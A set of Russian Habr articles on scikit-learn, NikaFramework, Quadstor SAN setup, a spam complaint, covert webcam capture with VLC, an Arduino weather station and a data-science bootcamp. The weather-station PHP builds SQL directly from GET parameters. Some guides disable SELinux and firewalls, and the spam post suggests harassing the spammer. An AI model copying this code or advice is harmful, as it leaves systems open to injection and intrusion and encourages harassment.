# Create a numeric and categorical transformer to perform preprocessing steps
numeric_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='median')),
('scaler', StandardScaler())])
categorical_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='constant', fill_value='missing')),
('onehot', OneHotEncoder(handle_unknown='ignore'))])
# Use the ColumnTransformer to apply to the correct features
preprocessor = ColumnTransformer(
transformers=[
('num', numeric_transformer, numeric_features),
('cat', categorical_transformer, categorical_features)])
# Append regressor to the preprocessor
lr = Pipeline(steps=[('preprocessor', preprocessor),
('classifier', LinearRegression())])
# Fit the complete pipeline
lr.fit(X_train, y_train)
print("model score: %.3f" % lr.score(X_test, y_test))
```
8. Легкое получение HTML-изображения вашего пайплайна
-----------------------------------------------------
Часто пайплайны становятся довольно сложными, особенно при работе с реальными данными. Поэтому весьма удобно, что с помощью scikit-learn можно вывести [HTML-схему](https://scikit-learn.org/stable/modules/compose.html#visualizing-composite-estimators) шагов вашего пайплайна.
```
from sklearn import set_config
set_config(display='diagram')
lr
```
*Иллюстрация автора*
9. Функция построения графика для визуализации деревьев решений
---------------------------------------------------------------
Функция `[plot\_tree()](https://scikit-learn.org/stable/modules/generated/sklearn.tree.plot_tree.html)` позволяет создать схему шагов, присутствующих в модели дерева принятия решений.
```
import matplotlib.pyplot as plt
from sklearn import metrics, model_selection
from sklearn.tree import DecisionTreeClassifier, plot_tree
from sklearn.datasets import load_breast_cancer
X,y = load_breast_cancer(return_X_y = True)
X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, random_state=0)
clf = DecisionTreeClassifier()
clf.fit(X_train, y_train)
plot_tree(clf, filled=True)
plt.show()
```
10. Множество сторонних библиотек, расширяющих функции scikit-learn
-------------------------------------------------------------------
Существует множество сторонних библиотек, которые совместимы с scikit-learn и расширяют ее функционал.
Например, библиотека [Category Encoders](http://contrib.scikit-learn.org/category_encoders/), которая предоставляет более широкий выбор методов препроцессинга категориальных признаков, или библиотека [ELI5](https://eli5.readthedocs.io/en/latest/) — для более подробной интерпретации модели.
Обоими ресурсами также можно воспользоваться напрямую через пайплайн scikit-learn.
```
# Pipeline using Weight of Evidence transformer from category encoders
from sklearn import model_selection
from sklearn.linear_model import LinearRegression
from sklearn.datasets import fetch_openml
from sklearn.compose import ColumnTransformer
from sklearn.pipeline import Pipeline
from sklearn.impute import SimpleImputer
from sklearn.preprocessing import StandardScaler, OneHotEncoder
import category_encoders as ce
# Load auto93 data set which contains both categorical and numeric features
X,y = fetch_openml("auto93", version=1, as_frame=True, return_X_y=True)
# Create lists of numeric and categorical features
numeric_features = X.select_dtypes(include=['int64', 'float64']).columns
categorical_features = X.select_dtypes(include=['object']).columns
X_train, X_test, y_train, y_test = model_selection.train_test_split(X, y, random_state=0)
# Create a numeric and categorical transformer to perform preprocessing steps
numeric_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='median')),
('scaler', StandardScaler())])
categorical_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='constant', fill_value='missing')),
('woe', ce.woe.WOEEncoder())])
# Use the ColumnTransformer to apply to the correct features
preprocessor = ColumnTransformer(
transformers=[
('num', numeric_transformer, numeric_features),
('cat', categorical_transformer, categorical_features)])
# Append regressor to the preprocessor
lr = Pipeline(steps=[('preprocessor', preprocessor),
('classifier', LinearRegression())])
# Fit the complete pipeline
lr.fit(X_train, y_train)
print("model score: %.3f" % lr.score(X_test, y_test))
```
Спасибо за внимание! | https://habr.com/ru/post/512332/ | null | ru | null |
# Введение в NikaFramework (NKF). Часть 2
Продолжение [первой части](http://habrahabr.ru/post/166045/ "Введение в NikaFramework (NKF). Часть 1").
**4. Система сборки проекта**
За что я люблю системы сборки — так это за то, что я могу создавать множество разных файлов и не волноваться, как потом это организовать, чтобы на стороне пользователя это все быстро подгружалось.
Что делает система сборки проекта?
Одну простую вещь — берет все файлы, упаковывает их определенным способом и на выходе у нас один, единственный файл — `index.xhtmlz`.
Это позволяет разработчику создавать сколь угодное количество файлов, напр., делить классы на несколько подклассов, писать стили в нескольких файлах, создавать XHTML заготовки для любого случая жизни.
К тому же, позже мы можем доступиться до тех же ресурсов (XHTML, SVG, JSON) при помощи унаследованных методов без прибеганию к AJAX, так как все эти ресурсы уже находятся в `index.xhtmlz`.
Если рисунки используются в XHTML либо в стилях (CSS/Sass), то система сборки проекта преобразует их в [data:URL](http://ru.wikipedia.org/wiki/Data:_URL), при использовании base64.
index.xhtmlz (index.xhtml):
DOM:
В будущем планируется внести поддержку «annotations», при использовании которых ресурс не должен преобразовываться в data:URL, что может быть полезно для очень больших файлов, напр., видео.
У системы сборки проекта — два режима. development и production. В development (по умолчанию) все ресурсы упаковываются, но JS не сжимается и не обфускируется.
В production режиме — идет дополнительное сжатие. В конце работы (в любом из режимов) —
файл сжимается в zip формат, что дает экономию по трафику.
Система сборки проекта написана на NodeJS и в среднем занимает 1 сек в development режиме для среднего проекта (350 файлов).
Преимущество использования все время компиляции (сборки проекта) — это то, что у вас всегда код, который отвечает боевым условиям, то есть production режиме.
Так как часто бывает, при использовании отдельно подключаемый script/link тегов все работает нормально, а позже когда все упаковывается в один файл, начинают вылезать косяки.
**5. Семантика генерируемого DOM**
Как часто вам приходилось инспектировать элемент (Firebug, Web Developer), а потом искать по всему коду его имплементацию? NKF решает эту проблему тем, что он знает к какому типу компонента относиться каждый компонент, и сам генерирует DOM понятный для быстрого нахождения компонента.
`data-nkf-component-type` — тип компонента
`data-nkf-component-name` — название компонента
**6. Локализация на лету**
Это возможность без перезагрузки менять локаль на другую. Сделано это при помощи data-\* аттрибута data-lang-\*.
Напр.
```
```
будет в конечном итоге вот так, для англ.
```
Search
```
или вот так для рус.
```
Поиск
```
Файлы локализации создаются в директории /data/lang в виде обычных JSON файлов.
Напр.
ru.json:
```
{
"translate":{
"Search": "Поиск",
"Products": "Продукция"
....
}
}
```
Так же возможная частичная локализация сгенерированной части DOM и даже CSS ([content](https://developer.mozilla.org/en-US/docs/CSS/content)).
В будущем планируется сделать возможность привязки меток, для локализации большого текста.
В следующей части я покажу как создавать приложения используя данный фреймворк.
P.S. Конструктивная критика и идеи по улучшению приветствуются. | https://habr.com/ru/post/166135/ | null | ru | null |
# Quadstor — виртуальный SAN для бюджетников
Еще примерно год назад я наткнулся на статью [«50 инструментов для автоматизации облачной ифраструктуры»](https://habrahabr.ru/company/it-grad/blog/281801/) в котором описывались инструменты для работы с виртуализацией и в нем промелькнул инструмент под названием Quadstor. И недавно, наконец-то дошли руки до этого замечательного софта, и теперь хочу немного о нем рассказать, что это такое и с чем его едят!
**Quadstor** — это виртуализация хранилищ которая работает на основе iSCSI. [quadstor.com](http://quadstor.com/)
**И так, что он умеет:**
1. Поддержка виртуальных дисков по Fibre Channel, iSCSI или локально.
2. Тонкие диски (Thin Provisioning)
3. Дедупликация данных
4. Высокая доступность (High Availability)
5. Поддержка VAAI (Hardware Acceleration)
6. Поддержка кластеров Windows server 2012, Hyper-V, VMware
7. Поддержка ZFS
8. И самое основное — он бесплатный (ну а поддержка за деньги).
9. Размер виртуального диска до 64Тб.
Quadstor работает на Linux и поддерживает RHEL/CentOS, SLES и Debian.
Самые интересные фишки это — HA (High Availability), высокая доступность (синхронное зеркалирование), она может быть: Active-Active, Active-Pasive. А так же поддержка [ZFS](http://blog.tsugliani.fr/vsphere/vmware-lab-storage-software-appliance-quadstor/), что очень удобно если использовать обычный ПК с несколькими дисками и без аппаратного RAID.
Установка и настройка Quadstor — проста и не требует «танцев с бубнами».
И сейчас я опишу установку и настройку Quadstor на примере OS CentOS 7.
При этом на сервере один диск или раздел должен быть не форматированым и не размеченым (сырым).
### Установка Quadstor
Установим пакеты для удобства и работы:
```
yum update && yum upgrade
yum install epel-release
yum install mc wget unzip bash-completion screen htop logwatch net-tools
```
Установим пакеты необходимые для работы QUADStor:
```
yum install httpd gcc perl kernel-devel sg3_utils iotop sysstat lsscsi
yum install fence-agents
```
Далее отключаем selinux. С помощью vi nano или mc открываем файл /etc/selinux/config
и ставим SELINUX=disabled. Делаем reboot. Скачиваем дистрибутив QUADStor. На данный момент последняя версия 3.2.11, и устанавливаем:
```
wget http://www.quadstor.com/virtentdub3z/quadstor-virt-3.2.11-rhel.x86_64.rpm
rpm -i quadstor-virt-3.2.11-rhel.x86_64.rpm
```
Если все прошло удачно то процесс установки проходит без ошибок, а если не хватает пакета то в процессе установки будут ошибки и инсталятор укажет каких пакетов нехватает.
QUADStor имеет web-интерфейс и для этого использует apache. Его особо настраивать не надо, только установить в автозагрузку и установить «ServerName». Заходим /etc/httpd/conf/ и открываем фаил httpd.conf. Находим строчки начинающиеся на ServerName снимаем знак (#) коментария и меняем:
```
ServerName localhost:80
```
Если хотите настроить аутентификацию/авторизацию (SSL) для web-интерфейса QUADStor, то это легко сделать с помощью веб-сервера Apache. И такую настройку можно легко найти в интернете или на сайте [QUADStor](http://www.quadstor.com/support/62-accessing-webadmin.html).
Запускаем сервис quadstor и apache и включаем в автозагрузку.
```
systemctl start httpd
systemctl start quadstor
chkconfig httpd on
chkconfig quadstor on
```
Если оставить firewallD (CentOS 7) включенным, тогда надо прописать порты:
```
firewall-cmd --permanent --add-port=22/tcp
firewall-cmd --permanent --add-port=25/tcp
firewall-cmd --permanent --add-port=80/tcp
firewall-cmd --permanent --add-port=443/tcp
firewall-cmd --permanent --add-port=8090/tcp
firewall-cmd --permanent --add-port=8091/tcp
firewall-cmd --permanent --add-port=860/tcp
firewall-cmd --permanent --add-port=3260/tcp
firewall-cmd --permanent --add-port=3261/tcp
firewall-cmd --permanent --add-port=9950/tcp
firewall-cmd --permanent --add-port=9951/tcp
firewall-cmd --permanent --add-port=9952/tcp
firewall-cmd --permanent --add-port=9953/tcp
firewall-cmd --permanent --add-port=9954/tcp
firewall-cmd --permanent --add-port=9955/tcp
firewall-cmd --permanent --add-port=9956/tcp
firewall-cmd --reload
firewall-cmd --permanent --list-all
```
### Web-интерфейс QUADStor
С помощью браузера заходим на сервер по ip адресу http://<адрес QUADStor>
Web-интерфейс очень простой и содержит всего 4 пункта меню:
**1. System**
Пункт в котором общая информация: имя сервера, версия QUADStor, состояние сервера, кнопки перезапуска сервиса и системы в целом, а так же есть кнопка которая позволяет сгинерировать лог работы QUADStor и сохранить себе на ПК.
**2. Physical Storage**
Список дисков которые можно добавить в общий пул дисков, а так же глобальная статистика дисков: размер, использование дедубликация, сжатие и др.
**3. Storage Pools**
В этом пункте мы создаем пул дисков и даем ему имя, а так же включение логирования и дедупликации.
**4. Virtual Disks**
В этом пункте сосредоточены практически основные настройки виртуальных дисков: создавать виртуальные диски и включать их в пул дисков, включать/выключать сжатие, дедупликацию, верификацию, а так же настройка зеркалирования (High Availability) и настройки iSCSI.
Для создания виртуального диска, для начала нужно создать пул дисков. Заходим в пункт меню «Storage Pools», нажимаем кнопку «Add Pool».
Даем имя пулу дисков (например HA) и ставим галочки напротив «Enable Dedupe Metadata» и «Enable Logs» и нажимаем кнопку «Submit».
Далее заходим в «Physical Storage» и на свободном диске нажимаем ссылку «Add».
Выбираем имя пула к которому хотим привязать физический диск. Ставим галочки «Log Disk» (Включить лог) и «HA Disk» (Включить HA).
«Enable Compression» — включение сжатия данных. Можно включить, если хотите экономить место, но для работы сжатия требуется мощный процессор и много ОЗУ (мин 4Гб). Если будет слабый ПК или сервер, то запись/чтение будет притормаживать.
Последний шаг — это создать виртуальный диск.
Заходим в «Virtual Disks» и нажимаем «Add Vdisk». Задаем имя виртуальному диску (любое — например: HAVDisk). Задаем размер диска в Гб (но не больше размера физического диска). Указываем пул в котором мы хотим создать виртуальный диск. И нажимаем «Submit».
Если использовать только один нод то процесс создания диска закончен и теперь его можно подключать к любому серверу по iSCSI.
### Настройка QUADStor High Availability
Для работы HA (High Availability) необходимо два физических или виртуальных сервера с двумя сетевыми интерфейсами, одни сетевые интерфейсы смотрят на общую или общественную сеть, а другие только связаны между собой для синхронизации.
Для настройки кластера HA делаем два нода по инструкции выше. Настраиваем отдельную сеть для нодов что бы была синхронизация.
*Node1
Name: vm-qs1
lan1 — 10.5.113.207 — общая сеть (общедоступная сеть)
lan2 — 192.168.0.1 — внутренняя сеть (перемычка между нодами)*
*Node2
Name: vm-qs2
lan1 — 10.5.113.208 — общая сеть (общедоступная сеть)
lan2 — 192.168.0.2 — внутренняя сеть (перемычка между нодами)*
По адресам 10.5.113.207 и 10.5.113.208 будут подключатся сервера по iscsi. По адресам 192.168.0.1 и 192.168.0.2 включается сихронизация нодов.
Для включения сихронизации, на каждом ноде создаем файл /quadstor/etc/ndrecv.conf — пишем в этом файле RecvAddr=192.168.0.1 # Для нода1
```
echo "RecvAddr=192.168.0.1" > /quadstor/etc/ndrecv.conf
```
RecvAddr=192.168.0.2 # Для нода2
```
echo "RecvAddr=192.168.0.2" > /quadstor/etc/ndrecv.conf
```
Это означает что мы по ip адресу на ноде включаем синхронизацию. Далее перезапускаем сервис quadstor.
```
systemctl stop quadstor
systemctl start quadstor
```
Теперь с помощью браузера заходим на один из нодов (например vm-qs1) по адресу 10.5.113.207 и создаем виртуальный диск (как описано выше), а на втором ноде (ip-10.5.113.208) создаем только «Storage Pools» и «Physical Storage». Все действия (имена и настройки) должны в точности совпадать с первым нодом. Создавать виртуальный диск на втором ноде не нужно. Он создается автоматически при конфигурации зеркалирования. После этого на первом ноде заходим в «Virtual Disks» и на виртуальном диске нажимаем ссылку «Modify».
И перед нами открываются все настройки виртуального диска. Мы можем включить/выключить: дедубликацию, сжатие и верификацию. А так же можем настроить логин и пароль для iSCSI клиента. И самое главное указать второй нод для зеркалирования.
В строке «Mirror IP Address» указываем IP адрес второго нода 192.168.0.2 (IP адрес для синхронизации) И нажимаем «Submit». Если все удачно то в строке увидим «Mirror Address», «Source Address», «Curent Role» и «Status».
На втором ноде в «Virtual Disks» виртуальный диск будет создан автоматически. Нажимаем ссылку «Modify» и там такие же настройки как на первом ноде, но только наоборот.
Зеркалирование HA настроено и теперь можно диск подключать к серверам по адресам 10.5.113.207 и 10.5.113.208. На клиенте необходимо будет настроить iSCSI multipath (поддержка многопутевых накопителей).
Теперь осталось сделать еще одну важную настройку. Дело в том что если один из нодов «падает», то отвалится весь виртуальный диск на клиенте. Чтобы этого не произошло, нужно на нодах включить «игнорировать падение зеркала». Сначала заходим на первый нод (vm-qs1) по ssh и даем команду (от root)
```
/quadstor/bin/qmirrorcheck -a -t ignore -r 192.168.0.2
```
Затем заходим на второй нод (vm-qs2) по ssh и даем команду (от root)
```
/quadstor/bin/qmirrorcheck -a -t ignore -r 192.168.0.1
```
Теперь ноды не будут контролировать «падение» друг друга, и если один из нодов «упадет» то второй не отключится, а перехватит инициативу работы виртуального диска на себя.
Чтобы посмотреть режим работы можно дать команду.
```
/quadstor/bin/qsync -l
```
Как только восстановится «упавший» нод то начнется синхронизация данных и это можно увидеть с помощью команды
```
/quadstor/bin/qsync -l
```
Вот пожалуй все. В следующем посте я попробую сравнить скорость работы Quadstor HA и StarWind HA. | https://habr.com/ru/post/323114/ | null | ru | null |
# На гребне волны со спамом, или как наказать негодяев?
Пришел давеча спам на почту, примерно следующего содержания (оригинал дома, доберусь — поменяю):
`Соберем для Вас по сети интернет базу данных потенциальных клиентов для Вашего Бизнеса
......
С Уважением к Вам и Вашему Бизнесу
"Базы данных потенциальных клиентов для Вашего Бизнеса"
Телефон +79133913837
ICQ 62-888-62
WWW. 88862 .ru
SKYPE: prodawez
Email: 6288862@mail.ru`
Из врожденной вредности написал им на мыло и в аську, с просьбой уточнить предложение. На мыло — тишина (что странно), в асе состоялся примерно такой разговор:
`6288862 (16:35:34 21/11/2008)
Здравствуйте, спасибо, что Вы заинтересовались нашими услугами
Соберем для Вас по сети интернет базу данных потенциальных клиентов для Вашего Бизнеса
Вид данных в котором мы отдаем готовую базу данных как на сайте www.88862.ru на большом скриншоте
Сбор всех контактов по роду деятельности по городу и области 4000 рублей (170$)
Сбор всех контактов по роду деятельности по России 6000 рублей (270$)
Сбор контактных данных по роду деятельности по любой стране 6000 руб (270$)
Рассылка Вашего короткого сообщения по e-mail готовой базы данных 4000 рублей (170$)
Оплата любым удобным для Вас способом
С Уважением к Вам и Вашему Бизнесу
Евгений
"Базы данных потенциальных клиентов для Вашего Бизнеса"
Телефон +79133913837
ICQ 62-888-62
WWW. 88862 .ru
SKYPE: prodawez
Email: 6288862@mail.ru
Recluse (16:37:06 21/11/2008)
я что хотел сказать....
<вырезанно цензурой>
62-888-62 (16:38:03 21/11/2008)
И Вам туда же
Recluse Freeman ® (16:39:03 21/11/2008)
Я фигней не страдаю, а вам советую прекратить. Хотите 2-3 тысячи звонков в день на указанный номер телефона?
62-888-62 (16:42:02 21/11/2008)
От всех видов вредительства мы значительно защищены работаем много много лет поэтому советую Вам прекратить волноваться и занести нас по всем каналам связи в черные списки занесите и спите спокойно`
Внимание, вопрос — как с такими самоуверенными засранцами бороться? Помимо разнообразных флешмобов и публикации объявлений «продам айфон 3г за 10 000 рублей»? Ну, подписка их мыла на разнообразные порно рассылки — это вообще классика, но малоэффективно.
Рабочий день заканчивается, надеюсь по приходу домой увидеть дельные предложения по учинению неприятностей негодяям :)
**UPD:** Они издеваются — теперь прислали тот же текст в блог :) | https://habr.com/ru/post/45214/ | null | ru | null |
# Получаем снимок с веб-камеры и скриншот экрана с помощью VLC
### Предыстория
Всё началось с того, что кто-то постоянно брал мой планшет, причём без моего ведома. Планшет [ASUS VivoTab Smart](http://habrahabr.ru/company/asus/blog/179447/) с Windows 8 на борту. Было решено сделать на рабочем столе фейковый ярлык, запускающий скрипт, который сделает фотки с камеры, скриншот экрана, отправит всё это дело на мой e-mail, а потом, как ни в чем не бывало, запустит проводник.
### Пишем скрипт
Раз установлена полноценная Windows, значит можно обойтись возможностями WSH.
Для просмотра видео на аппарате установлен [VLC](http://www.videolan.org/vlc/). Плеер умеет захватывать видео-сигнал с различных источников.
#### Источники видео
У планшета две камеры: задняя и передняя. Будем делать фото с обеих.
Каждая камера поддерживает определенные разрешения, их можно посмотреть в настройках приложения ASUS YouCam:
**Скриншоты**
Протестировать выбранные параметры можно через батник:
```
C:\\Progra~1\\VideoLAN\\VLC\\vlc.exe dshow:// :dshow-vdev="камера" :dshow-size=разрешение
```
**Примеры**
```
C:\\Progra~1\\VideoLAN\\VLC\\vlc.exe dshow:// :dshow-vdev="Vimicro USB Camera (Altair)" :dshow-size=640x480
```
```
C:\\Progra~1\\VideoLAN\\VLC\\vlc.exe dshow:// :dshow-vdev="IMX175" :dshow-size=1280x720
```
Если открылся плеер, транслируется видео и нет ошибок — отлично, камера и разрешение выбраны верно.
#### Скриншот экрана
VLC и это умеет делать. Кстати, в их [wiki](https://wiki.videolan.org/VLC_command-line_help/) всё неплохо расписано.
```
C:\\Progra~1\\VideoLAN\\VLC\\vlc.exe "screen://"
```
#### Приступаем к WSH
Чтоб не появлялось окно командной строки, команды будем выполнять методом Exec:
```
var WSH = new ActiveXObject('WScript.Shell');
WSH.Exec('C:\\Progra~1\\VideoLAN\\VLC\\vlc.exe dshow:// :dshow-vdev="IMX175" :dshow-size=1280x720');
```
Отлично, но нам нужно сохранить изображение, а не выводить его. Для этого допишем необдходимые [параметры](https://wiki.videolan.org/VLC_command-line_help/):
```
WSH.Exec('C:\\Progra~1\\VideoLAN\\VLC\\vlc.exe --dshow-vdev="IMX175" --dshow-size=1280x720 -V dummy --intf=dummy --dummy-quiet --video-filter=scene --no-audio --scene-path=C:\\ --scene-format=jpg --scene-prefix=Shot --scene-replace --run-time=1 --scene-ratio=25 "dshow://" vlc://quit');
```
Изображение с камеры сохранится в файл *C:\\Shot.jpg*
Аналогично для скриншота:
```
WSH.Exec('C:\\Progra~1\\VideoLAN\\VLC\\vlc.exe -V dummy --dshow-vdev=none --intf=dummy --dummy-quiet --video-filter=scene --no-audio --scene-path=C:\\ --scene-format=jpg --scene-prefix=screen --scene-replace --run-time=1 --scene-ratio=25 "screen://" "dshow://" vlc://quit');
```
### Что получилось
Вообще, решение с использованием VLC является кроссплатформенным. Я лишь показал реализацию под свои нужды.
[Вот архив](http://docs.google.com/file/d/0BxG_9AZqsNLZNDM2QzRuVkhHSnM) с готовым скриптом.
**Что получилось**Ярлык запускает скрипт
[](http://img-fotki.yandex.ru/get/9754/57336309.6/0_da5f8_b1734f53_orig)
Создаются снимки с обеих камер и скриншот:
[](http://img-fotki.yandex.ru/get/9747/57336309.6/0_da5f7_904356a2_orig)
А вот и письмо
 | https://habr.com/ru/post/211927/ | null | ru | null |
# Метеостанция Arduino
Метеостанция Arduino
--------------------
Я решил написать подробную статью, рассказывающую все аспекты создания метеостанции Arduino, по скольку сразу сложно охватить весь процесс. Мое исполнение метеостанции удобно тем, что ее данные сохраняются на компьютере.
**Что необходимо**
* локальная сеть, построенная с помощью Wifi роутера
* компьютер
* Arduino UNO(Я использовал китайскую реплику.)
* USB кабель, для соединения с Arduino.
* барометр BME280 5В I2C (датчик температуры, влажности, давления)
* паяльная станция с феном
* припой 0.7 мм
* флюс.
* Wi-Fi модуль ESP8266 версии ESP-01
* 4 кабеля мама-папа для макетной платы.
* 4 кабеля папа-папа для макетной платы
* 4 кабеля длинной 50 см для макетной платы.
* 8 тонких термоусадчных трубок длинной 10 см каждая.
* 1 большая термоусадочная трубка такого диаметра, чтобы в нее вошли «4 кабеля длиной 50 см для макетной платы» вместе с другими термоусадачными трубками
### Настройка сети
Каждый компьютер в сети должен видеть устройство, на котором находится сервер.Желательно установить у всех компьютеров в сети одинаковые рабочие группы.
[*Нажмите, чтобы увеличить.*](https://habrastorage.org/webt/ud/9g/do/ud9gdo-xql0u2zohzhhjggrgggs.jpeg)
---
**Следует отключить брадмаузер и другие фаерволы.**
В настройках сети, в свойствах беспроводного адаптера, во вкладе доступ, ставим в начале галочку «позволить другим пользователям доступ» и затем — нажимаем настройки;
в настройках ставим все галочки, у вас вместо цифр будут отображаться названия служб.
[*Нажмите, чтобы увеличить.*](https://habrastorage.org/webt/tm/rp/iu/tmrpiumi5cfgy2z__uewznwfsfm.jpeg)
[*Нажмите, чтобы увеличить.*](https://habrastorage.org/webt/l5/aj/oe/l5ajoew55mnqtr9or8wr5q7gvfq.jpeg)
---
Необходимо открыть *80* и *3306* порт в роутере. Я покажу на примере роутера Tenda: во-первых, узнать ваш *Локальный IP адрес*, для этого нажмите на значок беспроводной сети. Далее в открывшийся панели возле имени вашей сети появится *Свойства*. После, пролистайте вниз.
[*Нажмите, чтобы увеличить.*](https://habrastorage.org/webt/9a/sk/ui/9askui6kcvu7i04omioewoz5cpg.jpeg)
---
Далее открываем веб-страницу роутера, у меня это [http://192.168.0.1](http://192.168.0.1/), вводим пароль от роутера, нажимаем Advanched settings, потом Virtal Server.Затем вводим сначала *Локальный IP*, и порт *80*.Затем повторяем операцию, но вводим порт *3306*.
[Нажмите, чтобы увеличить.](https://habrastorage.org/webt/j7/wd/3u/j7wd3umngfpeofjenbduzck8ivq.jpeg)
[*Нажмите, чтобы увеличить.*](https://habrastorage.org/webt/1o/ji/tt/1ojittsmyle-r6cg36dzxxjyfdw.jpeg)
---
Нам необходимы следующие компоненты:
* *Apache* — сюда будут посылаться данные с метеостанции.
* *PHP* — будет подхватывать данные с метеостанции, и сохранять бд.
* *Mysql* — базы данных где будут сохраняться температура, так как средствами только PHP невозможно обеспечить отображение для нескольких компьютеров и других устройств.
* *HeidiSQL* — просмоторщик, и редактор базы данных (можно использовать любой другой, например:«PhpMyAdmin»).
На настройку сервера *Apache* подробно описывать не буду, так в интернете много информации.Главное настроить *Apache* и *MySQL* на видимость в локальной сети.
После этого создайте таблицу в базе данных — там будет сохраняться температура.
Пример моей страницы обработчика( показаний датчика) на сервере:
**Код на PHP**
```
$link = mysqli_connect("имя сервера в апач", "root", "пароль к бд", "база данных");
if (!$link) {
echo "Ошибка: Невозможно установить соединение с MySQL." . PHP_EOL;
echo "Код ошибки errno: " . mysqli_connect_errno() . PHP_EOL;
echo "Текст ошибки error: " . mysqli_connect_error() . PHP_EOL;
exit;
}
echo "Соединение с MySQL установлено!" . PHP_EOL;
echo "Информация о сервере: " . mysqli_get_host_info($link) . PHP_EOL;
if(isset($_GET['temp'])){
$c=$_GET['temp'];
$vlah=$_GET['vlah'];
$davlen=$_GET['davlen'];
$sql = "UPDATE `temp1` SET `C`='$c',`vlah`='$vlah',`davlen`='$davlen' WHERE `id`='1'";// Занесение данных в бд
mysqli_query($link,$sql);
}
echo"
";
$sql1="SELECT * FROM `temp1`";//Отображение данных
$result = mysqli_query($link,$sql1);
$row = mysqli_fetch_all($result,MYSQLI_NUM);
echo "Температура ";
echo $row[count($row)-1][0];
echo " C";
echo"
";
echo "Давление ";
echo $row[count($row)-1][1];
echo "hPa";
echo"
";
echo "Влажность ";
echo $row[count($row)-1][2];
echo "%";
``` | https://habr.com/ru/post/443664/ | null | ru | null |
# Взлет, перепрофилирование, креатив и подноготная: истории родом из BigDataCamp
Борьба за студентов, из которых вырастают хорошие IT-специалисты, заставляет потенциальных работодателей придумывать новые форматы поиска и привлечения талантов. Один из них выстрелил осенью 2019 года — это BigDataCamp — пятидневный интенсив по Data Science, который проходил в московском офисе МегаФона. Он объединил в себе практикум и хакатон по большим данным. Лучшие его участники могли получить приглашение на стажировку в МегаФон с возможным последующим трудоустройством. Как это выглядело для участников и организаторов — под катом.
---
От стажера до аналитика: как прокачаться в работе
Антон Сысоев Участник BigDataCamp, который из стажера бэкенд-разработки переквалифицировался в дата-аналитика. Ему пришлось прокачать математику и вспомнить все, чему он научился в университете и на множестве курсов. Антон стал абсолютным победителем интенсива и получил приглашение на работу.
var t531\_doResize;
$(window).resize(function(){
if (t531\_doResize) clearTimeout(t531\_doResize);
t531\_doResize = setTimeout(function() {
t531\_setHeight('161611511');
}, 200);
});
$(document).ready(function() {
t531\_setHeight('161611511');
});
С выбором профессии у меня все решилось быстро и просто. Я еще в седьмом классе узнал, что центр дополнительного образования у нас в городе проводит конкурс-отбор на обучение программированию. Я прошел, меня затянуло, вжух — вот уже учусь на IT-специальности в универе.
Я поступил в МГТУ имени Баумана. Университет превосходно научил меня самостоятельности: во время первого семестра я понял, что актуальных знаний мне в вузе не получить, поэтому надо постигать все самому. Занимался самообразованием, учился в Технопарке Mail.ru Group в Бауманке.
**Все, что я понял и что имеет отношение к современному миру, я изучил сам. Университетская программа далека от жизни. Хорошие дисциплины — иголки в стоге сена. Хорошо, если попадется одна за семестр.**
А еще я сразу после школы начал искать работу, устроился на стажировку в известную IT-компанию. Да, при этом приходилось проворачивать хитрые трюки с расписанием, но мой приоритет — получение реальных «боевых» навыков на работе, а учеба — дополнение, которое я не собираюсь бросать.
Примерно полгода назад я понял, что аналитика данных — это интересная тема, начал сам изучать вопрос, проходил онлайн-курсы. Не открою Америку, если скажу, что математическая основа была сложной. Всю необходимую информацию опять нашел сам в интернете. А BigDataCamp стал моим первым оффлайн-курсом.
Ключи к победе
О BigDataCamp мы с друзьями узнали из рекламы во ВКонтакте. Решили подать заявку и все втроем поступили. Правда, потом на хакатоне нас раскидали по разным командам, новые знакомства приходилось заводить на ходу.
Формат мероприятия отличный — неделя интенсива с чередующимися теорией и практикой.
Система оценки была простой. Можно было сдавать задания после дедлайна или начинать делать их раньше срока. Первая проблема решалась ручной проверкой кода, а вот вторая мешала в последние дни занятий. Приходилось выбирать между честным слушанием лекционного материала и досрочным решением задач, чтобы просто не отстать от других участников, которые уже вовсю занимались практикой.
Перед началом хакатона нас поделили на команды, ориентируясь на заработанные баллы. Организаторы назначили меня формальным лидером группы. Я уже имел некоторый опыт руководства командой, поэтому быстро распределил задачи, чтобы люди сразу начинали что-то делать и получать результаты.
**На хорошем хакатоне решают реальные бизнес-задачи. Потому что ломать голову над сферическим заданием в вакууме неинтересно.**
Задача, которую нужно было решить на соревновании, связана с оттоком. На входе мы получили данные о потреблении абонентами услуг связи, которые мы первым делом внимательно исследовали. И только потом, когда все участники команды разобрались, что к чему, приступили к визуализации. Поставили на то, что основная цель хакатона — это демонстрация навыков работы с данными, а не построение самой успешной модели. Подход оказался правильным.
Будни дата-аналитика
Принимая участие в BigDataCamp, я особо не рассчитывал на получение места в компании. Поэтому, получив оффер, взял время на обдумывание. В принципе, у меня уже была неплохая работа, но перспектива попробовать себя в роли дата-аналитика все-таки перевесила.
Сразу на старте я включился в интересный проект. Это задача, связанная с нахождением оптимальных параметров начисления бонусов за пополнение баланса. Необходимо определить, кому из абонентов стоит делать предложение о бонусе за пополнение и на какую сумму.
В ближайшие месяцы я планирую поработать с разными типами задач, чтобы понять, как профессия соответствует моим ожиданиям. А пока — новая команда, работа по принципам AGILE, новый стек технологий и новые практики. Все это очень интересно.
Из математиков в айтишники: как попасть в профессию
Мария Чернова Пополнила ряды айтишников после BigDataCamp. Сходила на интенсив и хакатон, показала отличный результат и получила оффер от МегаФона. Для нее самой это оказалось приятной неожиданностью — будучи математиком, никаких карьерных планов в IT Мария не строила. Она просто хотела поддержать друга, а в итоге заинтересовалась новой сферой и поменяла работу.
var t531\_doResize;
$(window).resize(function(){
if (t531\_doResize) clearTimeout(t531\_doResize);
t531\_doResize = setTimeout(function() {
t531\_setHeight('161619686');
}, 200);
});
$(document).ready(function() {
t531\_setHeight('161619686');
});
Никогда не мечтала стать айтишником. Эта профессия казалась чем-то непонятным и неинтересным. Мне нравится чистая математика, но вот найти такую работу не в институте или школе — проблема.
В бакалавриате я училась в НГУ на механико-математическом факультете и после выпуска не понимала, куда двигаться дальше. Решила продолжить учебу, поступила в Бауманку. На первом курсе магистратуры были учебные курсы, связанные с машинным обучением. Там я поняла, что мне действительно интересно это направление, и дальше начала самостоятельно изучать основы, прошла онлайн-курсы по ML на Coursera. А спустя четыре месяца попала на BigDataCamp.
